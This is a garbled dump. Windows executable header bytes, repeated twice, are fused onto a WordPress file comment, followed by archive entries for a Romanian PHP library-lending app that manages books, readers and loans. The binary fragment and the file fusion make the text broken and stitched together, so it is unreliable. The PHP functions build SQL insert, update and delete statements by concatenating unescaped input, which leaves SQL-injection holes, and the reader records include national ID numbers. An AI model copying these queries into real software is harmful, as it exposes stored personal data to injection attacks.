MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º €Ã @ P Ê¢Ÿ `Á€„ í P äŸ ` # @ t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @ ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads MZ ÿÿ ¸ @ ø º ´ Í!¸LÍ!This program cannot be run in DOS mode. $ ³B´´÷#Úç÷#Úç÷#Úç…¢ßæA#Úç…¢Þæû#Úç…¢Ùæÿ#Úçæ¥'çõ#Úçæ¥Ùæþ#Úçæ¥Þææ#Úçæ¥ßæß#Úç…¢Ûæð#Úç÷#Ûç{#Úçs¥Þæî#Úçs¥Øæö#ÚçRich÷#Úç PE d† ˆñg ð " * º €Ã @ P Ê¢Ÿ `Á€„ í P äŸ ` # @ t PÁ À @ Ð .text ¹ º `.rdata j+ Ð , ¾ @ @.data PS ê @ À.pdata # ` $ ø @ @.fptable @ À.rsrc äŸ @ @.reloc t @ ¾ /** * Front to the WordPress application. This file doesn't do anything, but loads given.php000064400000007547152513263430006406 0ustar00

Lista imprumuturi

'; print '

'; print ''; $sql = "select given.*, readers.ID as IDReader, readers.Firstname, readers.Lastname, books.Titlu, books.ID as IDBook from given join readers on readers.ID = given.IDReader join books on books.ID = given.IDBook"; foreach ($conn -> query($sql) as $list){ print ' '; } print '

Nr. Imprumut	Cititor	Carte	Data Imprumut	Data Restituire	Zile ramase
'.$list['ID'].'	'.$list['Firstname'].' '.$list['Lastname'].'	'.$list['Titlu'].'	'.date("d-m-Y H:i", strtotime($list['DateGiven'])).'	'.date("d-m-Y", strtotime($list['DateRefund'])).'	'.timp_ramas($list['DateRefund']).'

'; } function timp_ramas($date){ $zileramase = date('z', strtotime($date)) - date('z'); if ($zileramase<0){ $value = 'Intarziere: '.$zileramase*(-1).' zile'; } if ($zileramase==0){ $value = 'Termen limita - astazi'; } if ($zileramase==1){ $value = 'MAINE'; } if ($zileramase>1) { $value = ''.$zileramase.' zile';} return $value; } function add_given($information){ $insert = "insert into given (IDReader, DateGiven, DateRefund, IDBook , State) value ('".$information['idreader']."', '".date('Y-m-d')."','".date("Y-m-d", strtotime($information['returnare']))."', '".$information['idcarte']."', 1)"; mysqli_query($information['conn'], $insert); $update = "update books set Stare = 2 where ID = ".$information['idcarte'].""; mysqli_query($information['conn'], $update); } function restantier($conn, $id){ $find = 0; $sql = "select given.*, books.Titlu, books.NrInventar from given join books on books.ID = given.IDBook where given.State = 1 and given.IDReader = ".$id.""; foreach($conn->query($sql) as $search){ $find = 1; } if ($find == 1) { ?> client-information.php000064400000003552152513263430011067 0ustar00query($sql) as $search) { $given = $search['given_nr']; } ?>

Activitate recenta

books.php000064400000006655152513263430006412 0ustar00query($sql) as $search){ $find_title = $search['Titlu']; $find_id = $search['ID']; $find = 1; } if ($find == 1){ print '

Atentie! Acest NUMAR DE INVENTAR exista deja in atribuit unui alt articol. '.$find_title.'

'; } return $find; } function books_add($information) { $insert = "insert into books (ID, Titlu, Editura, Autor, An, Detalii, Stoc, NrInventar, Sectie, Stare, StocInitial) value (null, '".$information['Titlu']."', '".$information['Editura']."', '".$information['Autor']."', '".$information['An']."', '".$information['Detalii']."', '".$information['Stoc']."', '".$information['NrInventar']."', '".$information['Sectie']."', 1, '".$information['Stoc']."')"; mysqli_query($information['conn'], $insert); print '

Succes! Cartea a fost adaugata cu succes!

'; } function books_remove($conn, $id){ $delete = "delete from books where ID = ".$id.""; mysqli_query($conn, $delete); print '

Succes! Cartea a fost stearsa!

'; } function books_update($information){ $update = "update books set Titlu = '".$information['Titlu']."', Editura = '".$information['Editura']."', Autor = '".$information['Autor']."', An = '".$information['An']."', Detalii = '".$information['Detalii']."', StocInitial = '".$information['Stoc']."', NrInventar = '".$information['NrInventar']."', Sectie = '".$information['Sectie']."' where ID = ".$information['id'].""; mysqli_query($information['conn'], $update); print '

Succes! Cartea a fost stearsa!

'; } ?>

Lista Carti

'; print '

'; print ''; $sql = "select * from books"; foreach($conn->query($sql) as $list){ print ''; print ''; print ''; print ''; print ''; print ''; print ''; print ''; } print '

Nr. Inventar	Denumire	Editura	Autor	An
'.$list['NrInventar'].'	'.$list['Titlu'].'	'.$list['Editura'].'	'.$list['Autor'].'	'.$list['An'].'

'; } ?>client.php000064400000010434152513263430006541 0ustar00query($sql) as $find) { $fiind = 1; $name = $find['Firstname'].' '.$find['Lastname']; $id = $find['ID']; } if ($fiind==1) { if ($name== ' ') { $name = 'necunoscut'; } print '

Atentie! CNP-ul exista deja in baza de date! Cititor: '.$name.'

'; } return $fiind; } function client_add($information) { $count_number = 0; $bgir = ''; $sql = "select count(*) as number from readers"; foreach($information['conn']->query($sql) as $count){ $count_number = $count['number']; } $sql = "select * from system_configuration where SettingName like 'BiblioGestIdentifyReader' and State = 1"; foreach($information['conn']->query($sql) as $setting){ $bgir = $setting['Value'].''.$count_number+1; } $insert = "insert into readers (ID, Firstname, Lastname, CNP, Phone, Email, Jobs, Anniversary, BirthPlace, OtherInformation, Photo, BGIR) value (null, '".$information['Firstname']."', '".$information['Lastname']."', '".$information['CNP']."', '".$information['Phone']."', '".$information['Email']."', '".$information['Jobs']."', '".$information['Anniversary']."', '".$information['BirthPlace']."', '".$information['OtherInformation']."', 'default.png', '".$bgir."')"; mysqli_query($information['conn'], $insert); print '

Succes! Cititorul a fost adaugat cu succes! Numar de foaie: '.$bgir.'

'; if ($bgir == ''){ print '

Atentie! Nu s-a putut genera un BGIR, deoarece acesta nu este configurat! Va rugam contactati administratorul pentru rezolvarea acestei probleme.

'; } } function client_list($conn) { print '

Lista Cititori

'; print '

'; print ''; $sql = "select * from readers"; foreach ($conn->query($sql) as $find) { print ' '; } print '

CNP	Cititor	Ocupatie	Telefon
'.$find['CNP'].'	'.$find['Firstname'].' '.$find['Lastname'].'	'.$find['Jobs'].'	'.$find['Phone'].'

'; } function client_remove($conn, $id) { $delete = "delete from readers where ID = ".$id.""; mysqli_query($conn, $delete); print '

Succes! Cititorul a fost sters cu succes!

'; } function client_update($information) { $update = "update readers set Firstname = '".$information['Firstname']."', Lastname = '".$information['Lastname']."', CNP = '".$information['CNP']."', Phone = '".$information['Phone']."', Email = '".$information['Email']."', Jobs = '".$information['Jobs']."', Anniversary = '".$information['Anniversary']."', BirthPlace = '".$information['BirthPlace']."', OtherInformation = '".$information['OtherInformation']."' where ID = '".$information['ID']."'"; mysqli_query($information['conn'], $update); print '

Succes! Modificarile au fost facute!

'; } ?>